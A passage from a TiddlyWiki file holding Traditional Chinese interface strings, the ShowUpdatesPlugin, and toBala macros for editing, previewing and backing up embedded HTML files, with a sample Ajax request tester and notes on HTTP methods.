		rowClasses: [
			{className: 'error', field: 'error'},
			{className: 'warning', field: 'warning'}
			]}
	});

merge(config.macros.toolbar,{
	moreLabel: "其他",
	morePrompt: "顯示更多工具命令"});
	
merge(config.macros.refreshDisplay,{
	label: "刷新",
	prompt: "刷新此 TiddlyWiki 顯示"
	});
	
merge(config.macros.importTiddlers,{
	readOnlyWarning: "TiddlyWiki 於唯讀模式下,不支援導入文章。請由本機(file://)開啟 TiddlyWiki 文件",
	wizardTitle: "自其他檔案或伺服器導入文章",
	step1Title: "步驟一:指定伺服器或來源文件",
	step1Html: "指定伺服器類型:<select name='selTypes'><option value=''>選取...</option></select><br>請輸入網址或路徑:<input type='text' size=50 name='txtPath'><br>...或選擇來源文件:<input type='file' size=50 name='txtBrowse'><br><hr>...或選擇指定的饋入來源:<select name='selFeeds'><option value=''>選取...</option></select>",
	openLabel: "開啟",
	openPrompt: "開啟檔案或",
	openError: "讀取來源文件時發生錯誤",
	statusOpenHost: "正與伺服器建立連線",
	statusGetWorkspaceList: "正在取得可用之文章清單",
	step2Title: "步驟二:選擇工作區",
	step2Html: "輸入工作區名稱:<input type='text' size=50 name='txtWorkspace'><br>...或選擇工作區:<select name='selWorkspace'><option value=''>選取...</option></select>",
	cancelLabel: "取消",
	cancelPrompt: "取消本次導入動作",
	statusOpenWorkspace: "正在開啟工作區",
	statusGetTiddlerList: "正在取得可用之文章清單",
	step3Title: "步驟三:選擇欲導入之文章",
	step3Html: "<input type='hidden' name='markList'></input><br><input type='checkbox' checked='true' name='chkSync'>保持這些文章與伺服器的連結,便於同步後續的變更。</input><br><input type='checkbox' name='chkSave'>儲存此伺服器的詳細資訊於標籤為 'systemServer' 的文章名為:</input> <input type='text' size=25 name='txtSaveTiddler'>", 
	importLabel: "導入",
	importPrompt: "導入所選文章",
	confirmOverwriteText: "確定要覆寫這些文章:\n\n%0",
	step4Title: "步驟四:正在導入%0 篇文章",
	step4Html: "<input type='hidden' name='markReport'></input>", // DO NOT TRANSLATE
	doneLabel: "完成",
	donePrompt: "關閉",
	statusDoingImport: "正在導入文章 ...",
	statusDoneImport: "所選文章已導入",
	systemServerNamePattern: "%2 位於 %1",
	systemServerNamePatternNoWorkspace: "%1",
	confirmOverwriteSaveTiddler: "此 tiddler '%0' 已經存在。點擊「確定」以伺服器上料覆寫之,或「取消」不變更後離開",
	serverSaveTemplate: "|''Type:''|%0|\n|''網址:''|%1|\n|''工作區:''|%2|\n\n此文為自動產生紀錄伺服器之相關資訊。",
	serverSaveModifier: "(系統)",

	listViewTemplate: {
		columns: [
			{name: 'Selected', field: 'Selected', rowName: 'title', type: 'Selector'},
			{name: 'Tiddler', field: 'tiddler', title: "文章", type: 'Tiddler'},
			{name: 'Size', field: 'size', tiddlerLink: 'size', title: "大小", type: 'Size'},
			{name: 'Tags', field: 'tags', title: "標籤", type: 'Tags'}
			],
		rowClasses: [
			]}
	});

merge(config.macros.sync,{
	listViewTemplate: {
		columns: [
			{name: 'Selected', field: 'selected', rowName: 'title', type: 'Selector'},
			{name: 'Tiddler', field: 'tiddler', title: "文章", type: 'Tiddler'},
			{name: 'Server Type', field: 'serverType', title: "伺服器類型", type: 'String'},
			{name: 'Server Host', field: 'serverHost', title: "伺服器主機", type: 'String'},
			{name: 'Server Workspace', field: 'serverWorkspace', title: "伺服器工作區", type: 'String'},
			{name: 'Status', field: 'status', title: "同步情形", type: 'String'},
			{name: 'Server URL', field: 'serverUrl', title: "伺服器網址", text: "View", type: 'Link'}
			],
		rowClasses: [
			],
		buttons: [
			{caption: "同步更新這些文章", name: 'sync'}
			]},
	wizardTitle: "將你的資料內容與外部伺服器與檔案同步",
	step1Title: "選擇欲同步的文章",
	step1Html: '<input type="hidden" name="markList"></input>', // DO NOT TRANSLATE
	syncLabel: "同步",
	syncPrompt: "同步更新這些文章",
	hasChanged: "已更動",
	hasNotChanged: "未更動",
	syncStatusList: {
		none: {text: "...", color: 'transparent'},
		changedServer: {text: "伺服器資料已更動", color: '#80ff80'},
		changedLocally: {text: "本機資料已更動", color: '#80ff80'},
		changedBoth: {text: "已同時更新本機與伺服器上的資料", color: '#ff8080'},
		notFound: {text: "伺服器無此資料", color: '#ffff80'},
		putToServer: {text: "已儲存更新資料至伺服器", color: '#ff80ff'},
		gotFromServer: {text: "已從伺服器擷取更新資料", color: '#80ffff'}
		}
	});

merge(config.macros.annotations,{
	});

merge(config.commands.closeTiddler,{
	text: "關閉",
	tooltip: "關閉本文"});

merge(config.commands.closeOthers,{
	text: "關閉其他",
	tooltip: "關閉其他文章"});

merge(config.commands.editTiddler,{
	text: "編輯",
	tooltip: "編輯本文",
	readOnlyText: "檢視",
	readOnlyTooltip: "檢視本文之原始內容"});

merge(config.commands.saveTiddler,{
	text: "完成",
	tooltip: "確定修改"});

merge(config.commands.cancelTiddler,{
	text: "取消",
	tooltip: "取消修改",
	warning: "確定取消對 '%0' 的修改嗎?",
	readOnlyText: "完成",
	readOnlyTooltip: "返回正常顯示模式"});

merge(config.commands.deleteTiddler,{
	text: "刪除",
	tooltip: "刪除文章",
	warning: "確定刪除 '%0'?"});

merge(config.commands.permalink,{
	text: "引用連結",
	tooltip: "本文引用連結"});

merge(config.commands.references,{
	text: "引用",
	tooltip: "引用本文的文章",
	popupNone: "本文未被引用"});

merge(config.commands.jump,{
	text: "捲頁",
	tooltip: "捲頁至其他已開啟的文章"});

merge(config.commands.syncing,{
	text: "同步",
	tooltip: "本文章與伺服器或其他外部檔案的同步資訊",
	currentlySyncing: "<div>同步類型:<span class='popupHighlight'>'%0'</span></"+"div><div>與伺服器:<span class='popupHighlight'>%1 同步</span></"+"div><div>工作區:<span class='popupHighlight'>%2</span></"+"div>", // Note escaping of closing <div> tag
	notCurrentlySyncing: "無進行中的同步動作",
	captionUnSync: "停止同步此文章",
	chooseServer: "與其他伺服器同步此文章:",
	currServerMarker: "\u25cf ",
	notCurrServerMarker: "  "});

merge(config.commands.fields,{
	text: "欄位",
	tooltip: "顯示此文章的擴充資訊",
	emptyText: "此文章沒有擴充欄位",
	listViewTemplate: {
		columns: [
			{name: 'Field', field: 'field', title: "擴充欄位", type: 'String'},
			{name: 'Value', field: 'value', title: "內容", type: 'String'}
			],
		rowClasses: [
			],
		buttons: [
			]}});

merge(config.shadowTiddlers,{
	DefaultTiddlers: "GettingStarted",
	GettingStarted: "使用此 TiddlyWiki 的空白範本之前,請先修改以下預設文章:\n* SiteTitle 及 SiteSubtitle:網站的標題和副標題,顯示於頁面上方<br />(在儲存變更後,將顯示於瀏覽器視窗的標題列)。\n* MainMenu:主選單(通常在頁面左側)。\n* DefaultTiddlers:內含一些文章的標題,可於載入TiddlyWiki 後的預設開啟。\n請輸入您的大名,作為所建立/ 編輯的文章署名:<<option txtUserName>>",
	MainMenu: "[[使用說明|GettingStarted]]\n\n\n^^~TiddlyWiki 版本:<<version>>\n© 2007 [[UnaMesa|http://www.unamesa.org/]]^^",
	OptionsPanel: "這些設定將暫存於瀏覽器\n請簽名<<option txtUserName>>\n (範例:WikiWord)\n\n <<option chkSaveBackups>> 儲存備份\n <<option chkAutoSave>> 自動儲存\n <<option chkRegExpSearch>> 正規式搜尋\n <<option chkCaseSensitiveSearch>> 區分大小寫搜尋\n <<option chkAnimate>> 使用動畫顯示\n----\n [[進階選項|AdvancedOptions]]",
	SiteTitle: "我的 TiddlyWiki",
	SiteSubtitle: "一個可重複使用的個人網頁式筆記本",
	SiteUrl: 'http://www.tiddlywiki.com/',
	SideBarOptions: '<<search>><<closeAll>><<permaview>><<newTiddler>><<newJournal " YYYY年0MM月0DD日" "日誌">><<saveChanges>><<slider chkSliderOptionsPanel OptionsPanel  "偏好設定 »" "變更 TiddlyWiki 選項">>',
	SideBarTabs: '<<tabs txtMainTab "最近更新" "依更新日期排序" TabTimeline "全部" "所有文章" TabAll "分類" "所有標籤" TabTags "更多" "其他" TabMore>>',
	StyleSheet: '[[StyleSheetLocale]]',
	TabMore: '<<tabs txtMoreTab "未完成" "內容空白的文章" TabMoreMissing "未引用" "未被引用的文章" TabMoreOrphans "預設文章" "已預設內容的隱藏文章" TabMoreShadowed>>'});

merge(config.annotations,{
	AdvancedOptions: "此預設文章可以存取一些進階選項。",
	ColorPalette: "此預設文章裡的設定值,將決定 ~TiddlyWiki 使用者介面的配色。",
	DefaultTiddlers: "當 ~TiddlyWiki 在瀏覽器中開啟時,此預設文章裡列出的文章,將被自動顯示。",
	EditTemplate: "此預設文章裡的 HTML template 將決定文章進入編輯模式時的顯示版面。",
	GettingStarted: "此預設文章提供基本的使用說明。",
	ImportTiddlers: "此預設文章提供存取導入中的文章。",
	MainMenu: "此預設文章的內容,為於螢幕左側主選單的內容",
	MarkupPreHead: "此文章的內容將加至 TiddlyWiki 文件的 <head> 段落的起始",
	MarkupPostHead: "此文章的內容將加至 TiddlyWiki 文件的 <head> 段落的最後",
	MarkupPreBody: "此文章的內容將加至 TiddlyWiki 文件的 <body> 段落的起始",
	MarkupPostBody: "此文章的內容將加至 TiddlyWiki 文件的 <body> 段落的最後,於 script 區塊之前",
	OptionsPanel: "此預設文章的內容,為於螢幕右側副選單中的選項面板裡的內容",
	PageTemplate: "此預設文章裡的 HTML template 決定的 ~TiddlyWiki 主要的版面配置",
	PluginManager: "此預設文章提供存取套件管理員",
	SideBarOptions: "此預設文章的內容,為於螢幕右側副選單中選項面板裡的內容",
	SideBarTabs: "此預設文章的內容,為於螢幕右側副選單中的頁籤面板裡的內容",
	SiteSubtitle: "此預設文章的內容為頁面的副標題",
	SiteTitle: "此預設文章的內容為頁面的主標題",
	SiteUrl: "此預設文章的內容須設定為文件發佈時的完整網址",
	StyleSheetColors: "此預設文章內含的 CSS 規則,為相關的頁面元素的配色。''勿修改此文'',請於 StyleSheet 中作增修。",
	StyleSheet: "此預設文章內容可包含 CSS 規則",
	StyleSheetLayout: "此預設文章內含的 CSS 規則,為相關的頁面元素的版面配置。''勿修改此文'',請於 StyleSheet 中作增修。",
	StyleSheetLocale: "此預設文章內含的 CSS 規則,可依翻譯語系做適當調整",
	StyleSheetPrint: "此預設文章內含的 CSS 規則,用於列印時的樣式",
	TabAll: "此預設文章的內容,為於螢幕右側副選單中的「全部」頁籤的內容",
	TabMore: "此預設文章的內容,為於螢幕右側副選單中的「更多」頁籤的內容",
	TabMoreMissing: "此預設文章的內容,為於螢幕右側副選單中的「未完成」頁籤的內容",
	TabMoreOrphans: "此預設文章的內容,為於螢幕右側副選單中的「未引用」頁籤的內容",
	TabMoreShadowed: "此預設文章的內容,為於螢幕右側副選單中的「預設文章」頁籤的內容",
	TabTags: "此預設文章的內容,為於螢幕右側副選單中的「分類」頁籤的內容",
	TabTimeline: "此預設文章的內容,為於螢幕右側副選單中的「最近更新」頁籤的內容",
	ViewTemplate: "此預設文章裡的 HTML template 決定文章顯示的樣子"
	});
//}}}
/***
|Name|ShowUpdatesPlugin|
|Created by|SaqImtiaz|
|Version|0.2 |
|Requires|~TW2.x|
!!!Description:
Allows you to list tiddlers that have changed since the users last visit. You can list only all changed tiddlers, or filter them to only show tiddlers that have or do not have a specific tag. By default a simple list of the titles of changed tiddlers is created. However, using an extremely versatile syntax you can provide a custom template for the generated text.

!!!Installation:
Copy the contents of this tiddler to your TW, tag with systemConfig, save and reload your TW.

!!!Syntax:
{{{<<showUpdates>>}}}
additional optional params:
{{{<showUpdates excludeTag:TagToExclude onlyTag:TagToList maxEntries:10 write:CustomWriteParameter >>}}}
excludeTag: ~TagToExclude
onlyTag: ~TagToList
maxEntries: max number of entries displayed when there are no updates. (default is 10, which can be changed in the config.macros.showUpdates.settings part of the code)
write: if a write parameter is not provided, an un-numbered list of the updates is generated. Alternatively, you can specify a custom 'template' for the text generated. The syntax for the write parameter is identical to that of the forEachTiddler macro. Additonal documentation on this syntax will be provided soon.
Some of the variables available in the write parameter are 'index', 'count' and 'lastVisit' where lastVisit is the date of the last visit in the format YYYYMMDDHHMM. Also areUpdates is a boolean that is true if there are new updates since the users last visit.

!!!To Do:
*refactor code to facilitate translations
*a streamlined version without the custom write parameter


!!!Code
***/
//{{{
window.lewcidLastVisit = '';
window.old_lewcid_whatsnew_restart = window.restart;
window.restart = function()
{
        if(config.options.txtLastVisit)
                 lewcidLastVisit= config.options.txtLastVisit;
        config.options.txtLastVisit = (new Date()).convertToYYYYMMDDHHMM();
        saveOptionCookie('txtLastVisit');
        window.old_lewcid_whatsnew_restart();
}

TiddlyWiki.prototype.lewcidGetTiddlers = function(field,excludeTag,includeTag,updatesOnly)
{
              var results = [];
              this.forEachTiddler(function(title,tiddler)
                      {
                      if(excludeTag == undefined || !tiddler.isTagged(excludeTag))
                                    if(includeTag == undefined ||  tiddler.isTagged(includeTag))
                                            if ( updatesOnly == false || tiddler.modified.convertToYYYYMMDDHHMM()>lewcidLastVisit)
                                                  results.push(tiddler);
                      });
              if(field)
                  results.sort(function (a,b) {if(a[field] == b[field]) return(0); else return (a[field] < b[field]) ? -1 : +1; });
              return results;
}

config.macros.showUpdates={};
config.macros.showUpdates.settings =
{
         maxEntries: 10  //max items to show, if there are no updates since last visit
}

config.macros.showUpdates.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
          var args = paramString.parseParams("list",null,true);
          var write = getParam(args, "write", undefined);
          var onlyTag = getParam(args, "onlyTag", undefined);
          var excludeTag = getParam(args, "excludeTag", undefined);
          var sortBy = "modified";
          var maxEntries = getParam(args,"maxEntries",this.settings.maxEntries);

          if (lewcidLastVisit) 
                {var tiddlers = store.lewcidGetTiddlers(sortBy,excludeTag,onlyTag,true);
                 var areUpdates = tiddlers.length>0? true:false;}

          //if (!lewcidLastVisit)
          //     {var countLine = "!!最近的更新:";
                  var tiddlers = store.lewcidGetTiddlers(sortBy,excludeTag,onlyTag,false);
                  var areUpdates = false;
          //     }
          //else if (tiddlers.length == 0)
          //     {var countLine = "!!@@color:red;上次拜訪後, 沒有任何更新 " + (Date.convertFromYYYYMMDDHHMM(lewcidLastVisit)).formatString(" (DD/MM/YY)") + "@@\n!!最近的更新:";
         //      var tiddlers = store.lewcidGetTiddlers(sortBy,excludeTag,onlyTag,false);}
         // else
         //      {var countLine ="!!@@ 自從上次拜訪後, 共有 "+ tiddlers.length +" 更新 " + (Date.convertFromYYYYMMDDHHMM(lewcidLastVisit)).formatString(" (DD/MM/YY)") + "@@";}

          tiddlers = tiddlers.reverse();
          var lastVisit = lewcidLastVisit? lewcidLastVisit:undefined;
          var count = areUpdates == true? tiddlers.length : maxEntries;
          var sp = createTiddlyElement(place,"span","showUpdates");
          if (write==undefined)
                 {
                  //wikify(countLine,sp);
                  var list = createTiddlyElement(sp,"ul");
                  for (var i = 0; i < count; i++)
                          {
                           var tiddler = tiddlers[i];
                           createTiddlyLink(createTiddlyElement(list,"li"), tiddler.title, true);
                          }
                 }
          else
                {
                 var list = '';
                 for (var index = 0; index < count; index++) {
                 var tiddler = tiddlers[index];
                 list += eval(write); }
                 wikify(list, sp);
                }
}
//}}}
/***
|''巨集名稱:''|toBalaAjax|
|''版本:''|2.1 (2008-06-28)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''||
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''| |
***/

//{{{
config.macros.toBalaAjax={
	
	editLabel: "編輯網頁",
	editTip: "編輯網頁",
        saveLabel: "儲存網頁",
	saveTip: "儲存網頁",
        openLabel: "檢視網頁",
	openTip: "檢視網頁",
        cancelLabel: "取消編輯",
	cancelTip: "取消編輯",
    
	GUIEditButtonOnclick: function(e,xtiddler,xbox,xfname,xx,yy) {

            if (config.browser.isIE) {
               window.event.cancelBubble=true;
            } else {  
               e.cancelBubble = true;   
               if (e.stopPropagation)  
                  e.stopPropagation();
            }

            removeChildren(xbox);

            var boxtool = createTiddlyElement(xbox,"div",null,"toBalaFileToolBar",null,null);
            var boxtext = createTiddlyElement(xbox,"textarea",null,null,null,null);
            wikify("@@color:#841;border:2px dotted #841;padding:2px;檔案 : <nowiki>"+xfname+"</nowiki>@@ ",boxtool);

            createTiddlyButton(boxtool,this.saveLabel,this.saveTip,
                            function(e) { config.macros.toBalaAjax.GUISaveButtonOnclick(e,xtiddler,xbox,xfname,boxtext,xx,yy); },
                            "toBalaFileSave",null,null);
	    createTiddlyButton(boxtool,this.cancelLabel,this.cancelTip,
                            function(e) { config.macros.toBalaAjax.GUICancelButtonOnclick(e,xtiddler,xbox,xfname,xx,yy); },
                            "toBalaFileCancel",null,null);

            // alert(xtitle+":"+xx+":"+yy);
            boxtext.setAttribute("rows",20);
            boxtext.setAttribute("cols",88);
            boxtext.value = xtiddler.text.substring(xx,yy);
        },

	GUISaveButtonOnclick: function(e,xtiddler1,xbox1,xfname1,boxtext1,xx1,yy1) {

            if (config.browser.isIE) {
               window.event.cancelBubble=true;
            } else {  
               e.cancelBubble = true;   
               if (e.stopPropagation)  
                  e.stopPropagation();
            }
 
            removeChildren(xbox1);
            var xtext=boxtext1.value;
            if (config.browser.isIE) {              
               xtext=xtext.replace(/\r/g,"");   // 請看最後的註解
            }
            var toptext=xtiddler1.text.substring(0,xx1);
            var bottomtext=xtiddler1.text.substring(yy1);
            xtext = (xtext.charAt(xtext.length-1) == "\n" ? xtext : xtext+"\n");
            xtiddler1.text=toptext+xtext+bottomtext;

            story.refreshTiddler(xtiddler1.title,null,true);
            saveChanges(false);              // 參數 false, 代表不管 Dirty 與否, 均要執行存檔動作

            var baseDIR = getLocalPath(document.URL);
  
            if (config.browser.isWindows) {
                var baseDIR = baseDIR.replace(/\//g,"");
                var x = baseDIR.lastIndexOf("\\");
             } else {
                var x = baseDIR.lastIndexOf("/");
             }

            baseDIR = baseDIR.substr(0,x+1);

            var s = saveFile(baseDIR+ (config.browser.isWindows ? xfname1 : xfname1.replace(/\\/g,"\/")), 
                                          convertUnicodeToUTF8(boxtext1.value));
            if (!s) {
               alert("存檔失敗");
            }
        },

	GUICancelButtonOnclick: function(e,xtiddler1,xbox1,xfname1,xx1,yy1) {

            if (config.browser.isIE) {
               window.event.cancelBubble=true;
            } else {  
               e.cancelBubble = true;   
               if (e.stopPropagation)  
                  e.stopPropagation();
            }

            removeChildren(xbox1);

            var boxtool = createTiddlyElement(xbox1,"div",null,"toBalaFileToolBar",null,null);
            wikify("@@color:#841;border:2px dotted #841;padding:2px;檔案 : <nowiki>"+xfname1+"</nowiki>@@ ",boxtool);

	    createTiddlyButton(boxtool,this.editLabel,this.editTip,
                            function(e) { config.macros.toBalaAjax.GUIEditButtonOnclick(e,xtiddler1,xbox1,xfname1,xx1,yy1);},
                            "toBalaFileEdit",null,null);

	    createTiddlyButton(boxtool,this.openLabel,this.openTip,
                            function(e) { config.macros.toBalaAjax.openHTML(e,params[0],xwidth,xheight);},
                            "toBalaFileEdit",null,null);

             var boxarea = createTiddlyElement(xbox1,"div",null,null,null,null);
	     wikify("{{{\n"+xtiddler1.text.substring(xx1,yy1-1)+"\n}}}",boxarea);
        },

        openHTML: function(ev,xf,xw,xh) {

               if (config.browser.isIE) {
                  window.event.cancelBubble=true;
               } else {  
                  ev.cancelBubble=true;   
               if (ev.stopPropagation)  
                  ev.stopPropagation();
               }

               // 將視窗置中
               var winl = (screen.width-xw)/2;
               var wint = (screen.height-xh)/2;
               if (winl < 0) winl = 0;
               if (wint < 0) wint = 0;
               var settings = 'scrollbars=yes, resizable=yes, height='  + xh +  ', width=' + xw  + ',top='  + wint  + ',left='  + winl;

               xf=xf.replace(/\\/mg,"/");

               // alert(xf+":"+settings);
               var xwin=window.open(xf,"HTMLWIN",settings);
               xwin.window.focus();
        },

	handler : function(place,macroName,params,wikifier,paramString,tiddler){

                if (!params[0]) {
                  alert("請給檔名");
                  return;
                } 

                var xwidth = params[1] || 550;
                var xheight = params[2] || 400;

		var xtext=store.getTiddlerText(tiddler.title);
                var x1=xtext.indexOf("/"+"/"+"/"+"%" + params[0]);

                // 自動產生 TiddlyWiki 備註
                if (x1 == -1) { 
                   xtext=xtext+"\n\n/"+"/"+"/"+"%" + params[0] + "\n" + "/"+"/"+"%"+"/";
                   tiddler.text=xtext; 
                   story.refreshTiddler(tiddler.title,null,true); // 這個 Tiddler 會重新顯示, 也就是 handler 會再被執行一次
                   //saveChanges(false);
                 }
                var x2=xtext.indexOf("/"+"/"+"%"+"/",x1);
                x1=x1+params[0].length+5;

		var box = createTiddlyElement(place,"div",tiddler.title+"-"+x1,"toBalaFile",null,null);
                var boxtool = createTiddlyElement(box,"div",null,"toBalaFileToolBar",null,null);
                wikify("@@color:#841;border:2px dotted #841;padding:2px;檔案 : <nowiki>"+params[0]+"</nowiki>@@ ",boxtool);

                var boxtext = createTiddlyElement(box,"div",null,null,null,null);
		wikify("{{{\n"+xtext.substring(x1,x2-1)+"\n}}}",boxtext);

                if (readOnly) {
                   return;
                }
		createTiddlyButton(boxtool,this.editLabel,this.editTip,
                            function(e) { config.macros.toBalaAjax.GUIEditButtonOnclick(e,tiddler,box,params[0],x1,x2);},
                            "toBalaFileEdit",null,null);

		createTiddlyButton(boxtool,this.openLabel,this.openTip,
                            function(e) { config.macros.toBalaAjax.openHTML(e,params[0],xwidth,xheight);},
                            "toBalaFileEdit",null,null);
	}		
};

/*
HTML 的 textarea 標籤, 對於換行在不同的瀏覽器有不同的處理方式

As you may know, the humble line break actually has three forms depending on which operating system is doing the breaking. On Unix machines, a single newline character ‘\n’ does the job. On Macs, a carriage return ‘\r’ is used. DOS and Windows use both: ‘\r\n’. It’s one of those relatively subtle issues that can bite you hard if you don’t know what to look out for.
*/

//}}}
{{item1{使用格式}}}
{{{
<<toBalaAjax  "ajax\html\testAjax.htm">>
}}}

{{item1{實作範例}}}
<<toBalaAjax "ajax\html\testAjax.htm">>

///%ajax\html\testAjax.htm
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf8">
</head>

<body>
<h2 align=center>顯示網頁載入時間的警告視窗</h2>
<hr>

<script>
today = new Date();			// 產生日期物件
hour = today.getHours();		// 取得時數
minute = today.getMinutes();		// 取得分數
second = today.getSeconds();		// 取得秒數
string = "網頁載入時間是"+hour+"點"+minute+"分"+second+"秒";	// 連接字串
</script>
<a href="javascript:alert(string)">網頁載入時間</a>

<hr>
</body>
</html>
//%/
<<toBalaAjax "ajax\AjaxCall.htm" "700" "450">>

///%ajax\AjaxCall.htm
<!-- 
程式名稱 : AjaxCall.html
程式描述 : Call XMLHTTP Object
適用瀏覽器 : Firefox 2.0,IE 5.5
參考文件 : 
-->
<html>
	
<head>
	
<meta http-equiv="Expires" content="0">
<meta http-equiv="Content-Type" content="text/html; charset=utf8">

<script>
var xmlhttp
function show(){
 
 if (window.XMLHttpRequest) {
    netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
    xmlhttp = new XMLHttpRequest();    
 }
 else if (window.ActiveXObject){ 
    try {
          xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
         }
    catch (e){
      try{
         xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
      catch (e){}
    }
 }

 xmlhttp.open(document.getElementById("c").value,document.getElementById("u").value,false);
 xmlhttp.send("");
 if (parseInt(xmlhttp.status)>300){
     alert(xmlhttp.status);
 }
 else {
  document.getElementById("h").innerHTML=xmlhttp.getAllResponseHeaders();
  
  if (xmlhttp.getResponseHeader("Content-Type") == "text/xml"){
  	 xmlobj=xmlhttp.responseXML;
     document.getElementById("x").innerHTML=xmlobj.getElementsByTagName('app')[0].firstChild.nodeValue;
  }
  else{
  	 document.getElementById("x").innerHTML="";
     var testFrame = document.getElementById("myFrame");
     var doc = testFrame.contentDocument;
     if (doc == undefined || doc == null)
        doc = testFrame.contentWindow.document;
     doc.open();
     doc.write(xmlhttp.responseText);
	 doc.close(); 
  }  
 }
}
</script>
</head>

<style type="text/css">
body {
 background-color:white;
}
</style>

<body>
<h2>Ajax 測試程式 (使用本機的瀏覽器以 "開啟檔案" 方式執行)</h2>
<hr>
Method: <input id="c" value="GET" style="width: 100px;" type="text"><span> (要大寫) </span><br> 
URL: <input style="width: 250px;" id="u" value="http://" type="text"><br>

<button onclick="show();">傳送命令</button>
<hr>

<b>Response Header</b>
<pre id="h"></pre>

<b>Response XML</b>
<pre id="x"></pre>

<b>Response HTML</b><br>
<iframe id="myFrame" height="30%" width="100%"></iframe>

</body>
</html>

<!--
HTTP Methods
-------------
HTTP defines eight methods (sometimes referred to as "verbs") indicating the desired 
action to be performed on the identified resource.

HEAD
    Asks for the response identical to the one that would correspond to a GET request, 
    but without the response body. This is useful for retrieving meta-information 
	written in response headers, without having to transport the entire content.
GET
    Requests a representation of the specified resource. By far the most common method
	used on the Web today. Should not be used for operations that cause side-effects 
	(using it for actions in web applications is a common mis-use). See 'safe methods' 
	below.
POST
    Submits data to be processed (e.g. from an HTML form) to the identified resource. 
	The data is included in the body of the request. This may result in the creation 
	of a new resource or the updates of existing resources or both.
PUT
    Uploads a representation of the specified resource.
DELETE
    Deletes the specified resource.
TRACE
    Echoes back the received request, so that a client can see what intermediate 
	servers are adding or changing in the request.
OPTIONS
    Returns the HTTP methods that the server supports. This can be used to check the 
	functionality of a web server.
CONNECT
    For use with a proxy that can change to being an SSL tunnel.


WebDAV added the following methods to HTTP:

    * PROPFIND — Used to retrieve properties, persisted as XML, from a resource. 
	             It is also overloaded to allow one to retrieve the collection 
				 structure (a.k.a. directory hierarchy) of a remote system.
    * PROPPATCH — Used to change and delete multiple properties on a resource 
	              in a single atomic act.
    * MKCOL — Used to create collections (a.k.a. directory).
    * COPY — Used to copy a resource from one URI to another.
    * MOVE — Used to move a resource from one URI to another.
    * LOCK — Used to put a lock on a resource. WebDAV supports both shared and 
	         exclusive locks.
    * UNLOCK — To remove a lock from a resource.

-->
//%/
/***
|''巨集名稱:''|toBalaApp|
|''版本:''|2.1 (2008-10-2)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''||
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''| |
***/
//{{{
config.macros.toBalaApp={
       mode:"open",

       handler : function(place,macroName,params,wikifier,paramString,tiddler){
                if (!params[0]) {
                  alert("請給檔名");
                  return;
                } 
		createTiddlyButton(place,"應用模式","應用模式", function(e) { config.macros.toBalaApp.onClick(params[0]); } );

                /* 下式的寫法, 在執行 handler 的同時也會執行 onClick, 這樣的執行方式不對, 所以請使用上式
                     createTiddlyButton(place,"應用模式","應用模式",this.onClick(params[0]));
                */ 
	},
       onClick : function(xapp) {
            // alert(this.mode+":"+xapp);
            if (this.mode=="open"){
               this.mode="close";
               document.getElementById("displayArea").style.display="none";
               document.getElementById("mainMenu").style.display="none";
               document.getElementById("ApplicationArea").style.display="block";
               document.getElementById("ApplicationArea").style.width="99.6%";
               document.getElementById("ApplicationArea").style.height=(window.screen.availHeight-200)+"px";
               document.getElementById("ApplicationArea").src=xapp;               
               return false;
            } else {
               this.mode="open";
               document.getElementById("displayArea").style.display="block";
               document.getElementById("mainMenu").style.display="block";
               document.getElementById("ApplicationArea").style.display="none";
               document.getElementById("ApplicationArea").src="";   
               return  false;
            }
        }	
};

//}}}
/***
|''巨集名稱:''|toBalaBackup|
|''版本:''|1.0 (2008-09-12)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''||
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0|
|''使用文件''| &lt;&lt;toBalaBackup '備份檔名'  '樹幹名'  '文章,文章,文章'&gt;&gt;|
***/

//{{{
// 自定的巨集變數, 開頭前三個字如為 txt, 結合 option 巨集會以文字欄處理, 前三個字如為 chk, 結合 option 巨集會以 checkbox 欄處理
config.options.txtBalaBackupFileName = config.options.txtBalaBackupFileName ? config.options.txtBalaBackupFileName : "toBalaBackup.html";
config.options.txtBalaTreeBody = config.options.txtBalaTreeBody ? config.options.txtBalaTreeBody : "";
config.options.txtBalaBackupOthers = config.options.txtBalaBackupOthers ? config.options.txtBalaBackupOthers : "首頁,MainMenu,SiteTitle,SiteSubtitle,00-控制台,StyleSheet";

config.macros.toBalaBackup = {};
config.macros.toBalaBackup.handler = function(place,macroName,params,wikifier,paramString,tiddler){

  if (readOnly) {
     return;
  }

  if (!params[0] && config.options.txtBalaBackupFileName == "") {
     alert("請給檔名");
     return;
  }
  var tbName = config.options.txtBalaBackupFileName != "" ? config.options.txtBalaBackupFileName : params[0];   // 備份檔名
  var tbTag = config.options.txtBalaTreeBody != "" ? config.options.txtBalaTreeBody : params[1] ;            // 備份主標籤
  var tbTD = config.options.txtBalaBackupOthers != "" ? config.options.txtBalaBackupOthers : params[2];      // 其它備份文章
  var label = params[3] || "備份資訊樹文章";
  var tooltip = params[4] || "備份資訊樹文章 : " + tbName;

  createTiddlyButton(place, label, tooltip,
       function(e) { config.macros.toBalaBackup.save(e, tbName, tbTag, tbTD); },
       null, null, null);
}

config.macros.toBalaBackup.save = function(ev,xfname,xtag, xtd) {

  if (config.browser.isIE) {
     window.event.cancelBubble=true;
  } else {  
     ev.cancelBubble = true;   
     if (ev.stopPropagation)  
        ev.stopPropagation();
  }

  var baseDIR = getLocalPath(document.URL);
  //alert(baseDIR);
  
   if (config.browser.isWindows) {
      var baseDIR = baseDIR.replace(/\//g,"");
      var x = baseDIR.lastIndexOf("\\");
   } else {
      var x = baseDIR.lastIndexOf("/");
   }

   baseDIR = baseDIR.substr(0,x+1);
   //alert(baseDIR);

   toBala.AllTiddlers = "";
   // 呼叫 toBalaLIB 的 getMainTree() 方法, 取出資訊樹的樹幹及所有文章抬頭
   if (xtag!="") {
